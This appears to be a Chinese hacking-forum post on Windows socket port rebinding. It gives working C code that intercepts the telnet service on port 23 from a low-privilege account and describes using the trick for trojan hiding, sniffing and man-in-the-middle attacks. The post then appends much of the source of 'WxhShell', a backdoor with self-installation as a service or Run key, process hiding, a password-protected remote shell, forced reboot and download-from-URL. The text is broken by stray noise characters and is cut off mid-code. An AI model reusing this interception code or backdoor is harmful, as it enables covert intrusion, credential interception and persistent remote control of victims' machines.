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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {bMOT*X=A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WN3]xw3  
DxJY{e9  
  saddr.sin_family = AF_INET; 0p[-M`D  
'q, L*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !B:wzb_  
+MvO+\/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^_!2-QY.~  
H-5h-p k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F|^tRL-  
}e0>Uk`[  
  这意味着什么?意味着可以进行如下的攻击: 6 6Bx,]"6  
h7cE"m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b2G1@f.U  
y.+!+4Mg|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tv /?-`Y  
8Q\ T,C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xn* >qm  
8Y&_X0T|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  se`^g ,]P  
pu,|_N[xq8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uL9O_a;!  
Pe)SugCs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t)^18 z  
]D&\|,,(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fd1jElt  
L]#b =Y  
  #include 9MUg/  
  #include p n(y4we  
  #include 3"p'WZ>  
  #include    ]=?.LMjnH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :3.!?mOe2  
  int main() `i{p6-U3  
  { ]/c!;z  
  WORD wVersionRequested; 734<X6^1  
  DWORD ret; c);vl%  
  WSADATA wsaData; ,B,:$G<  
  BOOL val; vG#,J&aW  
  SOCKADDR_IN saddr; v#b(0G  
  SOCKADDR_IN scaddr; JE ''Th}  
  int err; E4qQ  
  SOCKET s; Twq,6X-  
  SOCKET sc; `!lQd}W  
  int caddsize;  RR[1mM  
  HANDLE mt; +~za6  
  DWORD tid;   O 2W2&vY  
  wVersionRequested = MAKEWORD( 2, 2 ); rYPj3!#  
  err = WSAStartup( wVersionRequested, &wsaData ); 7p[NuU*Gg  
  if ( err != 0 ) { (%SKTM  
  printf("error!WSAStartup failed!\n"); )2: ,E  
  return -1; 4v;KtD;M  
  } ).8NZ Aj  
  saddr.sin_family = AF_INET; !(#d 7R  
   NXSjN~aG2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (=t41-l  
|0xP'(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'l6SL- <  
  saddr.sin_port = htons(23); z\c$$+t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fO,m_ OR:)  
  { gaU1A"S}  
  printf("error!socket failed!\n"); l?:S)[:  
  return -1; s>ohXISB[  
  } (\M+E tU<9  
  val = TRUE; 2g$;ZBHO|8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xy+hrbD)j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =.2)wA"e'  
  { NQIbav^5  
  printf("error!setsockopt failed!\n"); cn2SMa[@S  
  return -1; E3QyiW  
  } d~z%kl 5:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cd]def[d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^|ul3_'?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W #V`|JA  
@ GXi{9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ujh`&GiB+  
  { UYvdzCUh  
  ret=GetLastError(); O1Nya\^g<I  
  printf("error!bind failed!\n"); SshjUNx  
  return -1; Q(/F7 "m  
  } @|d+T"f  
  listen(s,2); &{ZTtK&JF  
  while(1) sjG@4Or  
  { R/Te ;z  
  caddsize = sizeof(scaddr); k]~|!`  
  //接受连接请求 ?9Sc KN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oL -udH  
  if(sc!=INVALID_SOCKET) tLzKM+Ct#  
  { A0 $ds  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xew s~74L  
  if(mt==NULL) A}G>JL  
  { npMPjknl  
  printf("Thread Creat Failed!\n"); ".sRi  
  break; kS< 9cy[O  
  } 'DTq<`~?  
  } `Tc"a_p9t  
  CloseHandle(mt); Y%Tm `$^V  
  } -~ H?R  
  closesocket(s); {C5-M!D{<  
  WSACleanup(); ]BaK8mPl  
  return 0; |SuN3B4e  
  }   l09SWug  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1-}M5]Y  
  { T~)R,OA7m  
  SOCKET ss = (SOCKET)lpParam; l\ HtP7]  
  SOCKET sc; +%? \#EQJ  
  unsigned char buf[4096]; rn RWL4  
  SOCKADDR_IN saddr; y;=/S?L.:  
  long num; jh"YHe/X  
  DWORD val; X.[8L^ldh  
  DWORD ret; U?A3>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HiSNEp$-4$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {\55\e/C,  
  saddr.sin_family = AF_INET; aPm2\Sq$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O:jaA3  
  saddr.sin_port = htons(23); Jp-6]uW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dyVfDF  
  { X{8g2](z.  
  printf("error!socket failed!\n"); Pa-{bhllu)  
  return -1; jO}<W1qy  
  } ][B>`gC-  
  val = 100; s_cur-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?<U">8cP  
  { /-&2>4I  
  ret = GetLastError(); @waY+sqt=  
  return -1; S=qx,<J 39  
  } 2 >/}-a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q@XxCP]  
  { pZ5eGA=  
  ret = GetLastError(); ~'0W(~Q8  
  return -1; Xk}\-&C7  
  } Y@limkN:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Uf#9y182*c  
  { 9YY*)5eyD  
  printf("error!socket connect failed!\n"); zj 2l&)N  
  closesocket(sc); .4XX )f5  
  closesocket(ss); !#dp [,nk  
  return -1; ? u~?:a@K  
  } @P/6NMjZ^  
  while(1) Vr hd\  
  { |nmt /[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h I7ur  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?xw0kXK4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v)<|@TD)  
  num = recv(ss,buf,4096,0); f}cCnJK  
  if(num>0) y=LN| vkQ  
  send(sc,buf,num,0); B~2M/&rM\  
  else if(num==0) 'Xu3]'m*  
  break; j.+ }Z |  
  num = recv(sc,buf,4096,0); S^A+Km3VB  
  if(num>0) 0ni/!}YP_  
  send(ss,buf,num,0); G<Y}QhFU  
  else if(num==0) -YY@[5x?u  
  break; j> dL:V&`  
  }  0X}0,  
  closesocket(ss); sF~!qag4q'  
  closesocket(sc); ?Lbn R~/J  
  return 0 ; #7=- zda5  
  } [}`-KpV!;  
Dr5AJ`y9A  
U3BhoD#f\  
========================================================== 2#R8}\  
t^"8 v3'h  
下边附上一个代码,,WXhSHELL Zw_'u=r >  
a([8r- zP  
========================================================== a LJ d1Q  
Ww=b{lUD  
#include "stdafx.h" <jG[ z69)  
|"YE_aYu  
#include <stdio.h> \ {;3'<  
#include <string.h> h_15"rd  
#include <windows.h> yZc#@R[0  
#include <winsock2.h> f0+vk'Z  
#include <winsvc.h> Lmw4  
#include <urlmon.h> _ qU-@Y$  
w+iI ay  
#pragma comment (lib, "Ws2_32.lib") ^y[- e9O|  
#pragma comment (lib, "urlmon.lib")  bU$M)  
gjn1ha"h%.  
#define MAX_USER   100 // 最大客户端连接数 ^J)0i_RS  
#define BUF_SOCK   200 // sock buffer "x O+  
#define KEY_BUFF   255 // 输入 buffer G rI<w.9X  
UdcrX`^.  
#define REBOOT     0   // 重启 gl 27&'?E*  
#define SHUTDOWN   1   // 关机 -l ?\hmDl  
xc,Wm/[  
#define DEF_PORT   5000 // 监听端口 J$i.^|hE/  
C/MQY:X4  
#define REG_LEN     16   // 注册表键长度 J=b 'b%  
#define SVC_LEN     80   // NT服务名长度 R)6"P?h._4  
.+&M,% x  
// 从dll定义API >DR$}{IV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WJy\{YAG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t"P:}ps{?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +aN"*//i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vQy+^deW  
v(p<88.!m  
// wxhshell配置信息 A~H@0>1  
struct WSCFG { }!N/?A5  
  int ws_port;         // 监听端口 p{AX"|QM"  
  char ws_passstr[REG_LEN]; // 口令 ;*cCaB0u  
  int ws_autoins;       // 安装标记, 1=yes 0=no FT\%=>{  
  char ws_regname[REG_LEN]; // 注册表键名 "6gBbm  
  char ws_svcname[REG_LEN]; // 服务名 p\DSFB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4@QR2K|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <[?ZpG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rd[^)q4d$w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y(=A HmR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qcn;:6_&W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h !?rk|  
|IDZMd0  
}; -Eoq#ULvR  
L| ;WE=  
// default Wxhshell configuration eIQ@){lJ-]  
struct WSCFG wscfg={DEF_PORT, .$o A~  
    "xuhuanlingzhe", tgY/8& $M  
    1, 3 J5lz~6  
    "Wxhshell", 1} ~`g ED  
    "Wxhshell", MqRJ:x  
            "WxhShell Service", D B(!*6#?  
    "Wrsky Windows CmdShell Service", }8'b}7!  
    "Please Input Your Password: ", 6[-[6%o#z  
  1, KPA.5,ai  
  "http://www.wrsky.com/wxhshell.exe",  %e(DPX  
  "Wxhshell.exe" qWD(rq+9  
    }; O bc>f|l]  
hGRHuJ  
// 消息定义模块 Nka 3H7 `  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d<[L^s9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f$qkb$?]}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 38GZ_ z}r  
char *msg_ws_ext="\n\rExit."; s7,D}Zz  
char *msg_ws_end="\n\rQuit."; 1rON8=E  
char *msg_ws_boot="\n\rReboot..."; 0cq<!{d  
char *msg_ws_poff="\n\rShutdown..."; &r2\P6J  
char *msg_ws_down="\n\rSave to "; ZE9.r`  
yB|1?L#  
char *msg_ws_err="\n\rErr!"; -t: U4r(  
char *msg_ws_ok="\n\rOK!"; "[0.a\ d<  
C8D`:k  
char ExeFile[MAX_PATH]; <GLn!~Px@5  
int nUser = 0; .-)kIFMi  
HANDLE handles[MAX_USER]; A Wd,qldv  
int OsIsNt; nO#x "  
nPk&/H%5hn  
SERVICE_STATUS       serviceStatus; +'wO:E1( w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Tg~A9y\  
AWi+xo|  
// 函数声明 D"exI]  
int Install(void); 1u"#rC>7.4  
int Uninstall(void); @hy~H?XN  
int DownloadFile(char *sURL, SOCKET wsh); T3@34}*  
int Boot(int flag); hD{ `j  
void HideProc(void); !|8"}ZF  
int GetOsVer(void); &@=W+A=c~  
int Wxhshell(SOCKET wsl); Hwcmt!y  
void TalkWithClient(void *cs); D 9UM8Hxi  
int CmdShell(SOCKET sock); V>D}z8w7  
int StartFromService(void); R2JPLvs  
int StartWxhshell(LPSTR lpCmdLine); J$lfI^^  
"28zLo3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w~yC^`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3,n"d-  
kn/xt  
// 数据结构和表定义 <GF^VT|Ce  
SERVICE_TABLE_ENTRY DispatchTable[] = !t}yoN n|  
{ Z\cD98B#  
{wscfg.ws_svcname, NTServiceMain}, RFX{]bQp9  
{NULL, NULL} !(gSXe)*  
}; O{ 0it6  
$hMD6<e  
// 自我安装 Cj$:TWYIh[  
int Install(void) Qe-PW9C  
{ <W+9 h0c  
  char svExeFile[MAX_PATH]; AH_qZTv0{Q  
  HKEY key; "BZ@m:I6hy  
  strcpy(svExeFile,ExeFile); 3O;"{E= <  
}Rw6+;  
// 如果是win9x系统,修改注册表设为自启动 ).AMfBQ=;  
if(!OsIsNt) { "Q{ l])N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2$v8{Y&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EWr7eH  
  RegCloseKey(key);  0T^ 0)c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nLCaik_,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )j\_*SoH  
  RegCloseKey(key); q@tym5  
  return 0; )sNPWn8<Uy  
    } =3!o _  
  } p$uPj*  
} *f_A :`:  
else { 7iyx_gyo  
M8/:PmR<  
// 如果是NT以上系统,安装为系统服务 XUnw*3tPJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T#wG]DH;  
if (schSCManager!=0) pRd'\+  
{ vPc*x5w-  
  SC_HANDLE schService = CreateService i<):%[Q)>  
  ( "YW Z&_n**  
  schSCManager, AyPtbrO  
  wscfg.ws_svcname, H \'1.8g/  
  wscfg.ws_svcdisp, ZCV i ZWo  
  SERVICE_ALL_ACCESS, E(vO^)#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @BG].UJo  
  SERVICE_AUTO_START, 1 b 86@f   
  SERVICE_ERROR_NORMAL, aOS,%J^ ?  
  svExeFile, uB#U( jl  
  NULL, klH?!r&  
  NULL, K?r  
  NULL, E@yo/S  
  NULL,  g[bu9i  
  NULL :Z x|=  
  ); `oH4"9&]k3  
  if (schService!=0) SN]g4}K-  
  { s;Gg  
  CloseServiceHandle(schService); Sc/$ 2gSG  
  CloseServiceHandle(schSCManager); <XQwu*_\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (m6V)y  
  strcat(svExeFile,wscfg.ws_svcname); esj6=Gh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2pU'&8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z4rk$K'=1w  
  RegCloseKey(key); dfKGO$}V  
  return 0; r7L.W  
    } 1z-A3a/-  
  } v/=\(  
  CloseServiceHandle(schSCManager); >^GV #z  
} U^7bj  
} <i]0EE}%  
s]|tKQGl,  
return 1; w%8y5v5  
} 'nBP%  
vZ811U~}  
// 自我卸载 :~#)Xa0I  
int Uninstall(void) ir"t@"Y;o  
{ vhAgX0k  
  HKEY key; O ;[Mi  
GM?s8yZ<  
if(!OsIsNt) { O"Nr$bS(Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RRV%g!  
  RegDeleteValue(key,wscfg.ws_regname); K&Bbjb_|  
  RegCloseKey(key); Em^~OM3U$q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I "O^.VC  
  RegDeleteValue(key,wscfg.ws_regname); j7lJ7BIr  
  RegCloseKey(key); 5bAdF'~  
  return 0; &$ "J\v m  
  } <U1T_fiBoc  
} 1dw{:X=j  
} m#Z&05^  
else { p)ig~kk`  
{-8Nq`w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Grii,  
if (schSCManager!=0) euVDrJ^  
{ 2[HPU M2>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GK!@|Kk8q7  
  if (schService!=0) T^(W _S  
  { oBo*<6  
  if(DeleteService(schService)!=0) { {it}\[3  
  CloseServiceHandle(schService); tx~,7TMS/  
  CloseServiceHandle(schSCManager); s1[&WDedM  
  return 0; NjpWK ;L  
  } jC4>%!{m  
  CloseServiceHandle(schService); lwrh4<~\,*  
  } r)>3YM5  
  CloseServiceHandle(schSCManager); [rWBVfm  
} =gD)j&~}_  
} X%j`rQk`  
{H)hoAenA  
return 1; "a(4])  
} Z,e|L4&  
R54ae:8  
// 从指定url下载文件 ]& ckq  
int DownloadFile(char *sURL, SOCKET wsh) lnHY?y7{  
{ peBHZJ``RX  
  HRESULT hr; >Zs!  
char seps[]= "/"; ;Vs2 e  
char *token; pu]U_Ll@  
char *file; wbrOL(q.m  
char myURL[MAX_PATH]; wjwCs`  
char myFILE[MAX_PATH]; U4fv$gV  
!p!Qg1O6o  
strcpy(myURL,sURL); Z4Dx:m-  
  token=strtok(myURL,seps); |-b\N6 }  
  while(token!=NULL) n:OXv}pv  
  { #UoFU{6tM  
    file=token; cx$h"  
  token=strtok(NULL,seps); *X/Vt$P  
  } C@eL9R;N1  
R6od{#5H$  
GetCurrentDirectory(MAX_PATH,myFILE); yRyXlZC  
strcat(myFILE, "\\"); grzmW4Cw  
strcat(myFILE, file); <)wLxWalF  
  send(wsh,myFILE,strlen(myFILE),0); dGm%If9P  
send(wsh,"...",3,0); $f0u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @jm+TW  
  if(hr==S_OK) @n?"*B  
return 0; &qG/\  
else KR?aL:RYb  
return 1; ;mQ|+|F6X  
* 3fl}l  
} B qX"La,  
I3Z?xsa@Z  
// 系统电源模块 R}gdN-941  
int Boot(int flag) \efDY[j/  
{ S',h*e  
  HANDLE hToken; r=0PW_r:  
  TOKEN_PRIVILEGES tkp; |ugdl|f  
5>.ATfAsV  
  if(OsIsNt) { Ie/_gz^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gfj_]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CLzF84@W=  
    tkp.PrivilegeCount = 1; hS8M|_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \tYImh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jq%<Z,rh  
if(flag==REBOOT) { H\oxj,+N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]jxyaE&%4  
  return 0; jH9PD8D\  
} @I?,!3`jS  
else { <Y7j'n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /~u^@@.  
  return 0; +bLP+]7oZ  
} =o~+R\1ux+  
  } 6Q7=6  
  else { nt$P A(Y  
if(flag==REBOOT) { En9J7es_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,$:u^;V(  
  return 0; nMzt_IlI  
} Hq 5#.rZ#  
else { ejZ-A?f-K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y,`n9[$K\  
  return 0; T$"~V u  
} fYy w2"  
} pJ}U'*Z2  
l+F29_o#  
return 1; yZ,pH1  
} _ikKOU^8  
O U7OX]h  
// win9x进程隐藏模块 x)dLY.'|  
void HideProc(void) !AE;s}v)0{  
{ k1xx>=md|C  
1a(\F 7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2~f*o^%l  
  if ( hKernel != NULL ) KPO w  
  { /kG?I_z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rtz-kQ38R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X,l7>>L{g  
    FreeLibrary(hKernel); e8> X5  
  } {AD-p!6G  
i*N2@Z[  
return; Lm=EN%*#9  
} ]^>Inh!  
#BP0MY&  
// 获取操作系统版本 2WH(c$6PWf  
int GetOsVer(void) f\= @jV  
{ }EwE#sZ#  
  OSVERSIONINFO winfo; l hYJectJa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q;nAq%  
  GetVersionEx(&winfo); 13/,^?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ffL]_E  
  return 1; )yb~ kbe  
  else mvT /sC7I  
  return 0; ~3j +hN8<  
} oCOv 6(  
5 l8F.LtO\  
// 客户端句柄模块 yJC: bD1xi  
int Wxhshell(SOCKET wsl) /c=8$y\%@  
{ s3JzYDpy  
  SOCKET wsh; !`=iKe&%E  
  struct sockaddr_in client; )J@[8 x`  
  DWORD myID; Z72%Bv  
u->[ y1JY  
  while(nUser<MAX_USER) Ry X11XU  
{ 9?ll(5E  
  int nSize=sizeof(client); h\@X!Z,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B"> Ko3  
  if(wsh==INVALID_SOCKET) return 1; OXM=@B<"  
kYkA^Aq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >ph=?M KD  
if(handles[nUser]==0) n Yx[9HN  
  closesocket(wsh); - i2^ eZl  
else !1R?3rVQS  
  nUser++; TxQsi"0c  
  } x'}z NEXI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h& 4#5{=  
h~sTi  
  return 0; ,ov$` v  
} jNX6Ct?  
V_$<^z|  
// 关闭 socket sqhIKw@  
void CloseIt(SOCKET wsh) /V+7:WDj  
{ )UU`uzU;u  
closesocket(wsh); aj1g9 y  
nUser--; 3; z1Hp2X  
ExitThread(0); g; -3  
} 4s|qxCks  
s~(`~Y4  
// 客户端请求句柄 u{uqK7]+  
void TalkWithClient(void *cs) mnZfk  
{ DS4y@,/)'  
)Dhx6xM[a  
  SOCKET wsh=(SOCKET)cs; eW<NDI&b  
  char pwd[SVC_LEN]; X*7VDt=  
  char cmd[KEY_BUFF]; p<D@l2vt  
char chr[1]; 0[Yks NNl1  
int i,j; [C-FJ>=S  
XkUwO ]  
  while (nUser < MAX_USER) { N@X6Z!EO  
It2:2  
if(wscfg.ws_passstr) { {C]tS5$Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ib> ~3s;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TT;ls<(Lg  
  //ZeroMemory(pwd,KEY_BUFF); 9k9}57m.i  
      i=0; 'HV@i)h0%V  
  while(i<SVC_LEN) { x5g&?2[  
I4qS8~+#  
  // 设置超时 H^o_B1  
  fd_set FdRead; @>ys,dy  
  struct timeval TimeOut; k&[6Ld0~56  
  FD_ZERO(&FdRead); W"\`UzOLQ  
  FD_SET(wsh,&FdRead); T%"wz3~  
  TimeOut.tv_sec=8; a|]deJU^  
  TimeOut.tv_usec=0; .*"KCQGOgM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \TzBu?,v8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #:Q\   
{Qd oI Pr3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @R;k@b   
  pwd=chr[0]; yfqe6-8U  
  if(chr[0]==0xd || chr[0]==0xa) { (ruMOKW  
  pwd=0; Ke#Rkt  
  break; !%(kMN  
  } 9RS viIi$  
  i++; t<}N>%ZO  
    } k=p[Mlic/  
t5 ^hZZ  
  // 如果是非法用户,关闭 socket rR{KnM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CO, {/  
} gE*7[*2?t  
zFYzus`>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'O2/PU2_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f#I#24)RH  
yZoJD{'?Sw  
while(1) { ON>l%Ae4G  
.n.N.e  
  ZeroMemory(cmd,KEY_BUFF); iM1E**WCtv  
g^po$%I '  
      // 自动支持客户端 telnet标准   :YX5%6  
  j=0; OM7AK B=S  
  while(j<KEY_BUFF) { fV6ddh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'F/uD 1;  
  cmd[j]=chr[0]; c% wztP;L  
  if(chr[0]==0xa || chr[0]==0xd) { jc !V|w^  
  cmd[j]=0; c*R\fQd  
  break; Ed-3-vJej6  
  } g#1 Y4  
  j++; XXwo(trs~=  
    } e6 <9`Xg  
TZg1,Z  
  // 下载文件 t1yfSStp  
  if(strstr(cmd,"http://")) { &oZU=CN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 77+3CME{'  
  if(DownloadFile(cmd,wsh)) @x[A ^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k %sxA  
  else P,G :9x"e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5w~J"P6jg  
  } c;a<nTLn  
  else { sUiO~<Ozpk  
oxnI/Z  
    switch(cmd[0]) { +l]> (k.2  
  M,oZ_tY%  
  // 帮助 Ui1s ]R  
  case '?': { dxS5-aWy9w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cd6th F)  
    break; 33~8@]b  
  } z'O+B}  
  // 安装 at\u7>;.^k  
  case 'i': { ]j*uD317  
    if(Install()) kPAg *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rY@9nQ\>g  
    else 4}*.0'Hz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9`^(M^|c  
    break; k`z]l;:  
    } S|6i]/  
  // 卸载 xj AU Csq  
  case 'r': { f4f)9n  
    if(Uninstall()) f?16%Rk<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m2_Eh;  
    else ?h| DeD!s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [yc7F0Aw  
    break; H_| re  
    } x",ktE>9  
  // 显示 wxhshell 所在路径 =CdrhP_  
  case 'p': { 6p&uifY}tR  
    char svExeFile[MAX_PATH]; *c$UIg  
    strcpy(svExeFile,"\n\r"); mxpw4  
      strcat(svExeFile,ExeFile); AG;KXL[V  
        send(wsh,svExeFile,strlen(svExeFile),0); eZhF<<Y  
    break; B:cQsaty  
    } H,7!"!?@N  
  // 重启 (_3'nFg  
  case 'b': { wQ9@ l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P)Oe?z;G?  
    if(Boot(REBOOT))  B"5xs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1#fR=*ZM"  
    else { X1[zkb  
    closesocket(wsh); p"H /N_b4  
    ExitThread(0); cT&lkS  
    } O69TU[Vn  
    break; ~*^o[~x]\  
    } c@nh>G:y{&  
  // 关机 %uiCC>cC  
